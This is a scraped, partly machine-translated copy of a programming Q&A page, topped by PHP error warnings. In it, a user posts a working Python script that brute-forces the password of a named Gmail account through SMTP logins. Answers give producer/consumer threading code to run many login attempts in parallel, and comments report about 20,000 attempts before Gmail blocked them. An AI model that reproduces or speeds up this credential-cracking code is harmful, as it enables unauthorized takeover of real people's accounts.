Warning: file_get_contents(/data/phpspider/zhask/data//catemap/2/python/363.json): failed to open stream: No such file or directory in /data/phpspider/zhask/libs/function.php on line 167

Warning: Invalid argument supplied for foreach() in /data/phpspider/zhask/libs/tag.function.php on line 1116

Notice: Undefined index: in /data/phpspider/zhask/libs/function.php on line 180

Warning: array_chunk() expects parameter 1 to be array, null given in /data/phpspider/zhask/libs/function.php on line 181
Python 如何使用线程使此函数更快?_Python_Multithreading_Performance_Gmail - Fatal编程技术网

Python 如何使用线程使此函数更快?

Python 如何使用线程使此函数更快?,python,multithreading,performance,gmail,Python,Multithreading,Performance,Gmail,我花了很多时间为gmail制作这个暴力黑客程序: import smtplib from itertools import permutations import string import time import os from datetime import datetime allC=["a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z"

我花了很多时间为gmail制作这个暴力黑客程序:

import smtplib
from itertools import permutations
import string
import time
import os
from datetime import datetime
allC=["a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z","0","1","2","3","4","5","6","7","8","9"]
num=1
allP=len(allC)**num
sumt=0
procent=0
while True:
   for i in permutations(allC, num):
      try :
          i="".join(i)
          server = smtplib.SMTP('smtp.gmail.com',587) 
          server.ehlo()
          server.starttls()
          server.ehlo()
          server.login('raslav.milutinovic@gmail.com',i)
          print str(datetime.now())
          print i
          break
          server.close()     
      except Exception,e:
          if 'Errno 11001' in e:
               input()
          pass
    sumt=sumt+1.00001
    procent=sumt/allP*100
    print "Level :",num
    print "Procent :",int(procent)



   num=num+1
   procent=0
   sumt=0
   allP=len(allC)**num
注意:缩进可能不正确 但速度非常慢,每小时5000次

如何使用线程一次测试多个et? 而且我也不会用它来作恶。。。。
仅仅是一个简单的学习项目

这是Python线程的一个好任务


每当网络代码被阻塞时,其他线程就开始运行。已经有关于SO的帖子展示了如何以类似的方式将urllib与线程一起使用。

创建一个生成器线程,用排列填充列表,并创建多个其他线程,从列表中获取值并对其进行测试:

from time import sleep
from threading import Thread
queue = []
done = False
num_consumers = 10

def generate():
    #the generator - fill queue with values and set a flag when done
    global queue, done
    for val in permutations(allc, num):
        if len(queue) > 100:
            sleep(0.5)
            continue
        queue.append(val)
    done = True

def consume():
    #the consumer - get a value from the queue and try to login
    global queue, done
    while queue or not done:
        if len(queue) == 0:
            sleep(0.05)
            continue
        try_login(queue.pop())

#create a generator and multiple consumer threads with the respective fcts
generator = Thread(target=generate)
consumers = [Thread(target=consume) for _ in range(num_consumers)]
#start the consumers and the generator
[c.start() for c in consumers]
generator.start()

这不是一个完整的方法-例如,
queue.pop()
可能应该包装在一个try语句中,因为尽管检查线程是否在
if
之后切换,但是在
pop
之前切换,列表仍然可以为空,您还需要优化睡眠值和消费者数量等。但最重要的是,这不会让你在破解gmail方面走得更远——这在暴力下应该是不可能的,因为他们在尝试了太多失败的尝试后,正在部署CAPTCHA、ip禁令和其他好东西。你最好的解决方法是社会工程:)

Gmail不会让你每小时尝试超过5000次(我很惊讶他们竟然允许这样的速度)。哈哈:“缩进可能不正确”不如你让他们正确,而不是让我们猜你的代码是什么样子?…Gmail的暴力黑客程序“……我不会用这个来作恶……”嗯哼。@Russellborogve-如果你检查一下逻辑,你会感觉好些。@Russellborogve哦,别这样,你我试了一天(20000)atempts。他们什么也没做。啊,我没看到你尝试通过SMTP登录…通过http,你会在第三次错误尝试后获得验证码,这当然是SMTP不可能的。我仍然猜你会在20k次尝试之前被禁止,但可能这还不足以被认为是重要的。是的,你在哪里正确。他们确实阻止了我,但是直到这是一个有趣的例子。